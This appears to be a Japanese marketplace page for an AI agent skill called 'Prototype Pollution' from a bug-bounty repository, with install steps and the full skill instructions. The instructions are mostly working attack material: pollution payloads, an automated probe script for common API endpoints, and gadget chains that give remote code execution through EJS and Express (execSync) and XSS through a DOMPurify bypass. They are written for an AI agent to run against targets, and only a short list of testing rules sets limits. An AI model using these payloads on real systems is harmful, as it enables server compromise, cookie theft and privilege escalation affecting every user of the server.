Prototype Pollutionのロゴ

Prototype Pollution

コミュニティ
jinyimeng01
prototype-pollution

Prototype Pollution detection and gadget chaining. Covers server-side (Node.js merge/deep-extend, Python class pollution) and client-side (DOM clobbering, DOMPurify bypass, jQuery deep-extend). Includes gadget chains for RCE via EJS/Pug/Handlebars and XSS via DOMPurify bypass.

概要

公開者jinyimeng01
リポジトリmastermind-bug-bounty
スキル名prototype-pollution
スター
60
フォーク
5
同梱ファイル
指示のみ
リンク
  • Markdown形式の指示

    モデルが必要に応じて読み込むSKILL.mdファイルです。関連するリクエストがあったときだけトークンを消費します。

  • どのLLMでも利用可能

    AIスキルはプロバイダー固有のコードではなく、通常のMarkdownなので、GPT、Claude、Gemini、Grok、ローカルモデルで利用できます。

  • 指示だけで完結

    モデルに必要なものはすべて指示に含まれているため、別途同期するファイルはありません。

  • オープンソース

    jinyimeng01がGitHubで公開しています。インストールする前にソースを確認してください。

インストール

AIスキルPrototype PollutionをTypingMindにインストールすれば、どのLLMでも利用できます。SKILL.mdを読み取れる別のAIエージェントに追加することもできます。

1

TypingMindにインストール

TypingMindはGitHubフォルダから直接スキルをインストールします。SKILL.mdを読み取り、リソースファイルをまとめてローカルに保存します。

  1. アプリを開き、「プラグイン」→「スキル」に移動します。
  2. 「GitHubからインストール」を選択します。
  3. 以下のスキルフォルダのURLを貼り付けて確定します。
    https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/prototype_pollution
  4. スキルを利用したいチャットごとに、そのスキルを有効にしてください。
「プラグイン」→「スキル」→「スキルを追加」→「GitHubのURLから」を選択し、フォルダのURLを貼り付けて「続行」を押します。
2

別のAIエージェントにインストール

Agent Skills形式を読み取れるAIエージェントなら、このスキルを利用できます。フォルダをそのAIエージェントのスキルディレクトリにコピーしてください。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/jinyimeng01/mastermind-bug-bounty.git /tmp/mastermind-bug-bounty
mkdir -p .claude/skills
cp -r /tmp/mastermind-bug-bounty/skills/prototype_pollution .claude/skills/prototype-pollution
コピー後、新しいスキルを読み込むためにClaude Codeを再起動してください。

TypingMindで使用

TypingMindのチャットでPrototype Pollutionを有効にするだけで、あとはモデルが対応します。名前と説明がシステムプロンプトに含まれ、関連するリクエストがあると、モデルが指示の全文を自動で読み込みます。手動で呼び出す必要はなく、実際に使用されるまでトークンを消費しません。

関連するリクエストがあると、モデルが自動的にPrototype Pollutionを読み込みます。

どのAIモデルでも利用可能

AIスキルはプロバイダー固有のコードではなく、通常のMarkdownで書かれた指示です。そのため、Prototype Pollutionは作成時に想定されたモデルに縛られません。TypingMindに一度インストールすれば、ご自身のAPIキーを使って、GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama、またはご自身で実行するローカルモデルで利用できます。

  • 必要なときだけ読み込み

    システムプロンプトには名前と説明だけが含まれます。関連するリクエストが初めてあったときに指示を取得するため、未使用のスキルにはコストがかかりません。

  • チャットの途中でモデルを切り替え

    スキルはコードではなく指示なので、モデルを切り替えてもそのまま使えます。次のモデルも同じSKILL.mdを読み込みます。

スキルの指示

モデルが読み込むSKILL.mdの内容です。スキルはモデルが従う指示なので、インストールする前に確認してください。

Prototype Pollution — Detection & Exploitation

Polluting Object.prototype or Class.proto can modify application behavior globally. A single polluted property can trigger XSS, RCE, or auth bypass deep in framework internals.

1. Server-Side Detection (Node.js)

Detection Payloads

Send to ANY endpoint that merges JSON objects (user settings, preferences, etc.):

json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
{"__proto__": {"status": "polluted"}}

Verify Pollution

After sending the payload, check if the property persisted:

python
# Send a request that queries object properties
# If the server reflects Object.keys() or has any GET endpoint
# that returns user data, check for the polluted property
resp = fetch("{target}/api/user/me")
assert "isAdmin" not in resp.json()  # Should NOT be in response normally
# If isAdmin now appears → pollution confirmed

Vulnerable Node.js Patterns

javascript
// lodash.merge (vulnerable before 4.6.0)
_.merge(target, req.body);

// lodash.defaultsDeep
_.defaultsDeep(target, req.body);

// Custom recursive merge
function merge(a, b) {
    for (let key in b) {
        if (typeof b[key] === 'object') {
            a[key] = merge(a[key] || {}, b[key]);
        } else {
            a[key] = b[key];
        }
    }
}

// Object.assign (shallow — needs nested path)
Object.assign(target, req.body);

2. Client-Side Detection

URL Parameter Pollution

https://target.com/page?__proto__[isAdmin]=true
https://target.com/page?constructor[prototype][isAdmin]=true

JavaScript Detection Gadget

javascript
// Inject via evaluate_script in chrome-devtools
(function() {
    // Test 1: Check if Object.prototype is already polluted
    var test = {};
    var pollutedKeys = [];
    for (var key in test) {
        pollutedKeys.push(key);
    }
    
    // Test 2: Try to pollute and verify
    try {
        var a = {};
        a.__proto__.polluted = true;
        var b = {};
        if (b.polluted === true) {
            return {vulnerable: true, method: "direct __proto__", pollutedKeys: pollutedKeys};
        }
    } catch(e) {}
    
    // Test 3: Via constructor
    try {
        var a = {};
        a.constructor.prototype.polluted2 = true;
        var b = {};
        if (b.polluted2 === true) {
            return {vulnerable: true, method: "constructor.prototype", pollutedKeys: pollutedKeys};
        }
    } catch(e) {}
    
    return {vulnerable: false, pollutedKeys: pollutedKeys};
})();

3. Gadget Chains

Gadget 1: DOMPurify Bypass → XSS

json
POST /api/preferences HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "ALLOWED_ATTR": ["onerror", "src", "onload"],
    "ALLOWED_URI_REGEXP": null
}}

After polluting ALLOWED_ATTR:

html
<img src=x onerror=alert(document.cookie)>
→ DOMPurify now ALLOWS onerror → XSS fires

Gadget 2: EJS Template Engine → RCE

json
POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
}}

When the server renders ANY EJS template after pollution:

outputFunctionName = "x;process.mainModule.require('child_process').execSync('id');s"
→ RCE

Gadget 3: Handlebars → RCE

json
POST /api/preferences HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "knownHelpers": {
        "exec": true
    },
    "precompileOptions": {
        "knownHelpersOnly": false
    }
}}

Gadget 4: Express View Options → RCE

json
POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "view options": {
        "client": true,
        "escapeFunction": "function(){};process.mainModule.require('child_process').execSync('id');"
    }
}}

Gadget 5: Nested Property Pollution (lodash.defaultsDeep)

json
POST /api/config HTTP/1.1
Content-Type: application/json

{"constructor": {
    "prototype": {
        "env": {
            "NODE_OPTIONS": "--require /proc/self/environ"
        },
        "shell": "/bin/bash"
    }
}}

4. Python Class Pollution

python
# Python class pollution via merge operations

# Payload:
{"__class__": {"__init__": {"__globals__": {"polluted": True}}}}
{"__class__": {"__base__": {"__subclasses__": "..."}}}

# Vulnerable pattern:
# user_input_processed_by_merge(data, request.json)
# → If merge allows __class__ traversal

# Detection:
# Send payload → check if new attributes appear on base classes

5. Automated Test Sequence

Server-Side Probe

python
import json

payloads = [
    {"__proto__": {"ppTest": "polluted_001"}},
    {"constructor": {"prototype": {"ppTest": "polluted_002"}}},
    {"__proto__": {"isAdmin": True}},
]

endpoints_to_test = [
    "/api/user/settings",
    "/api/user/preferences", 
    "/api/config",
    "/api/profile",
    "/api/account",
]

for endpoint in endpoints_to_test:
    for payload in payloads:
        resp = fetch(f"{{target}}{endpoint}",
                     method="POST",
                     headers={"Content-Type": "application/json"},
                     body=json.dumps(payload))
        
        # Check for 200 — pollution was accepted
        if resp.status == 200:
            # Verify: check if property persisted on next GET
            check = fetch(f"{{target}}{endpoint}", method="GET")
            if "ppTest" in check.text or "isAdmin" in check.text:
                log(f"[VULNERABLE] {endpoint} with {payload}")

Client-Side Probe

javascript
// Inject via chrome-devtools
var testPayloads = [
    {key: "__proto__[ppTest]", value: "polluted_001"},
    {key: "constructor[prototype][ppTest]", value: "polluted_002"},
];

// For each input on the page, inject test payload
document.querySelectorAll('input, textarea').forEach(function(el) {
    var form = el.closest('form');
    if (form) {
        // Submit with pollution payloads
    }
});

// After submit, check:
var testObj = {};
var isPolluted = false;
for (var key in testObj) {
    if (testObj[key] && String(testObj[key]).includes('polluted')) {
        isPolluted = true;
    }
}

6. Output

findings/
└── prototype_pollution/
    ├── _pollution_probes.json      # All probes sent
    ├── _vulnerable_endpoints.json  # Endpoints with confirmed pollution
    ├── _gadgets_available.json     # Gadgets found in JS source
    └── _poc/
        ├── dompurify_bypass.html   # DOMPurify bypass PoC
        └── ejs_rce_poc.js          # EJS RCE PoC

7. Rules

⛔ Only pollute test properties (ppTest, pollution_test)
⛔ NEVER pollute production properties (isAdmin, role, balance)
⛔ Clean up after test: DELETE the test account/settings
⛔ Server-side pollution affects ALL users — test ONCE, clean immediately

よくある質問

AIスキル「Prototype Pollution」では何ができますか?

Prototype Pollution detection and gadget chaining. Covers server-side (Node.js merge/deep-extend, Python class pollution) and client-side (DOM clobbering, DOMPurify bypass, jQuery deep-extend). Includes gadget chains for RCE via EJS/Pug/Handlebars and XSS via DOMPurify bypass.

TypingMindでPrototype Pollutionを使うメリットは何ですか?

一度インストールすれば、どのモデルでも使えるからです。Prototype Pollutionはプロバイダー固有のコードではなく、通常のMarkdownで記述されているため、同じスキルをGPT-5、Claude、Gemini、Grok、ローカルモデルで利用できます。チャットの途中でモデルを切り替えても、そのまま使い続けられます。TypingMindは自分のAPIキーで動作するため、シート単位のサブスクリプションではなく、プロバイダーに直接料金を支払います。スキルとチャットは自分のストレージに保持されます。

TypingMindにPrototype Pollutionをインストールするにはどうすればよいですか?

TypingMindで「プラグイン」→「スキル」→「GitHubからインストール」を開き、https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/prototype_pollutionを貼り付けてください。TypingMindがSKILL.mdを読み込み、チャットごとに有効にできるスキルとしてインストールします。

Prototype Pollutionを使えるAIモデルはどれですか?

TypingMindに接続したどのモデルでも利用できます。AIスキルはプロバイダー固有のコードではなく、通常のMarkdownで書かれた指示です。そのため、GPT、Claude、Gemini、Grok、ローカルモデルのいずれも、リクエストが合致したときにこのスキルを読み込めます。

Prototype Pollutionは何個のAIモデルで使えますか?

数に制限はありません。スキルに対応したモデルであれば、GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llamaなど、どのモデルでもPrototype Pollutionを利用できます。すべてTypingMind上で、自分のAPIキーを使って利用できます。

AIスキル「Prototype Pollution」は無料ですか?

jinyimeng01がGitHubで公開しています。ライセンス条件はリポジトリでご確認ください。支払いが必要なのは、利用したトークンに対する、ご自身が契約するAIプロバイダーへの料金だけです。

AIスキルとは何ですか?

AIスキルは、特定のタスクの実行方法をAIモデルに教える、再利用可能な指示のセットです。オープンなAgent Skills形式に従い、名前と説明を含むSKILL.mdファイルに加え、モデルが必要とするスクリプト、テンプレート、参照ファイルで構成されます。モデルはリクエストがスキルに合致したときだけ指示を読み込むため、インストール済みのスキルも、使うまでは費用がかかりません。

AIスキルは、プラグインやMCPサーバーとどう違いますか?

プラグインやMCPサーバーは、モデルが呼び出せる新しいツールを提供します。ツールとは、どこかで実行され、結果を返すコードです。一方、AIスキルは、タスクへの取り組み方、従うべき手順、望ましい出力の例といった知識や進め方をモデルに伝えます。スキルは通常のMarkdownで記述されているため、サーバー、APIキー、実行環境は不要で、どのモデルでも利用できます。

すべて見る

今すぐ自分専用のAIワークスペースを作成

ニュースレターに登録すると、新機能や今後のプレゼント企画のお知らせが届きます👇